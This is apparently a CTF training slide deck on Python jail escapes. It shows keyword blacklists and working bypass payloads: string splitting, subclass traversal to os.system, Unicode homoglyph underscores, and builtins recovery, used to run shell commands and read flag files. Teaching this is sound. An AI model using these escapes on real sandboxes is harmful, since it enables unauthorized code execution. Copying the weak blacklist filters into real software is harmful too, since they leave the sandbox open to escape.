# Introduction to Python Jails Alberto Carboneri <@Alberto247> Matteo Protopapa <@matpro> --- ## Intro ---- ## What is a Python Jail? A piece of software that: - executes some code <!-- .element: class="fragment" data-fragment-index="1" --> - but NOT the malicious one <!-- .element: class="fragment" data-fragment-index="2" --> ---- ## What is not a Python Jail ```python while True: code = input('>>> ') print(eval(code)) ``` ---- ## Blacklist-based Jails ```python while True: code = input('>>> ') if any((x in code) for x in ['import', 'exec', 'eval', 'open', 'os', 'system', 'subprocess', 'sys', 'builtins']): print('Error: blacklisted keyword') continue eval(code) ``` <span>__Solution__:</span><!-- .element: class="fragment" data-fragment-index="1" --> ```python globals()['__buil''tins__'].__dict__['ev''al'] ``` <!-- .element: class="fragment" data-fragment-index="1" --> ---- ## Non-Builtins Jails ```python while True: code = input('>>> ') if any((x in code) for x in ['import', 'exec', ...]): print('Error: blacklisted keyword') continue eval(code, {'__builtins__': None}) ``` <span>__Non working solution__:</span><!-- .element: class="fragment" data-fragment-index="1" --> ```python globals()['__buil''tins__'].__dict__['ev''al'] ^^^^^^^ NameError: name 'globals' is not defined ``` <!-- .element: class="fragment" data-fragment-index="1" --> <span>__Working solution__:</span><!-- .element: class="fragment" data-fragment-index="2" --> ```python ().__class__.__base__.__subclasses__()[137] .__init__.__globals__['system'] ``` <!-- .element: class="fragment" data-fragment-index="2" --> --- ## The double underscore Almost every payload requires the use of `__` So let's ban it: ```python if("__" in code): throw("Illegal...") ``` ---- ## Still pwnable? ```python ().__class__.__base__.__subclasses__()[137] .__init__.__globals__['system'] ``` <span>__Notice something here?__</span><!-- .element: class="fragment" data-fragment-index="1" --> ---- ## Yep, all of these work ```python ()._︳class_︳._︳base_︳._︳subclasses_︳()[137] ._︳init_︳._︳globals_︳['system'] ``` ```python ()._﹍class_﹍._﹍base_﹍._﹍subclasses_﹍()[137] ._﹍init_﹍._﹍globals_﹍['system'] ``` ```python ()._︴class_︴._︴base_︴._︴subclasses_︴()[137] ._︴init_︴._︴globals_︴['system'] ``` ```python ()._﹎class_﹎._﹎base_﹎._﹎subclasses_﹎()[137] ._﹎init_﹎._﹎globals_﹎['system'] ``` ---- ## In fact... This is valid Python code!<!-- .element: class="fragment" data-fragment-index="1" --> ```python _﹎𝙞𝙢𝙥𝙤𝙧𝙩_︴("os").𝖘𝕪𝖘𝖙𝖊𝕞("whoami") ``` <!-- .element: class="fragment" data-fragment-index="1" --> --- ## In practice ---- ## Sandbox-v1<span>.</span>py OliCyber<span>.</span>IT 2023 - Competizione Nazionale https://training.olicyber.it/challenges#challenge-432 ![qr](https://hackmd.io/_uploads/r1cENcWBC.png) <style> img[alt=qr] { width: 400px; } </style> ---- ## Sandbox-v1<span>.</span>py `'flag'` is blocked, but `'FLAG'.lower()` is not <span>__Solution__:</span><!-- .element: class="fragment" data-fragment-index="1" --> ```python exec("IMPORT OS; OS.SYSTEM('cat FLAG')".lower()) ``` <!-- .element: class="fragment" data-fragment-index="1" --> ---- ## Sandbox-v2<span>.</span>py OliCyber<span>.</span>IT 2023 - Competizione Nazionale https://training.olicyber.it/challenges#challenge-433 ![qr](https://hackmd.io/_uploads/rJveP5-SC.png) <style> img[alt=qr] { width: 400px; } </style> ---- ## Sandbox-v2<span>.</span>py Every user defined function has a reference to the global variables of the global scope of the file ```python In [1]: def fun(): ...: pass ...: In [2]: globals() is fun.__globals__ Out[2]: True In [3]: fun.__globals__["__builtins__"] Out[3]: <module 'builtins' (built-in)> ``` <!-- .element: class="fragment" data-fragment-index="1" --> ---- ## Sandbox-v2<span>.</span>py Python classes have a reference to the base class and a list of subclasses ```python >>> ().__class__.__base__.__subclasses__() [<class 'type'>, <class 'async_generator'>, <class 'int'>, ... <class 'code.InteractiveInterpreter'>, <class 'ast.AST'>] ``` <!-- .element: class="fragment" data-fragment-index="1" --> ---- ## Sandbox-v2<span>.</span>py `<class 'code.InteractiveInterpreter'>` is a user defined class, so we can recover the builtins ```python ii = ().__class__.__base__.__subclasses__()[-2] gb = ii.__init__.__globals__ __builtins__ = [*gb.values()][7] ``` <!-- .element: class="fragment" data-fragment-index="1" --> ---- ## Sandbox-v2<span>.</span>py We can confirm that the builtins are available ```python >>> open <built-in function open> >>> chr <built-in function chr> ``` <!-- .element: class="fragment" data-fragment-index="1" --> ---- ## Sandbox-v2<span>.</span>py __Solution__: ```python ii = ().__class__.__base__.__subclasses__()[-2] gb = ii.__init__.__globals__ __builtins__ = [*gb.values()][7] open(chr(102)+chr(108)+chr(97)+chr(103)).read() ``` --- # The end
{"title":"Introduction to Python Jails","slideOptions":"{\"transition\":\"slide\",\"theme\":\"simple\"}","contributors":"[{\"id\":\"1a481c45-d895-4214-adee-9d9ea2eb9cb3\",\"add\":4910,\"del\":754},{\"id\":\"f864928b-6faf-4ebc-89c9-1b6ae83e4a49\",\"add\":1099,\"del\":111}]"}
    313 views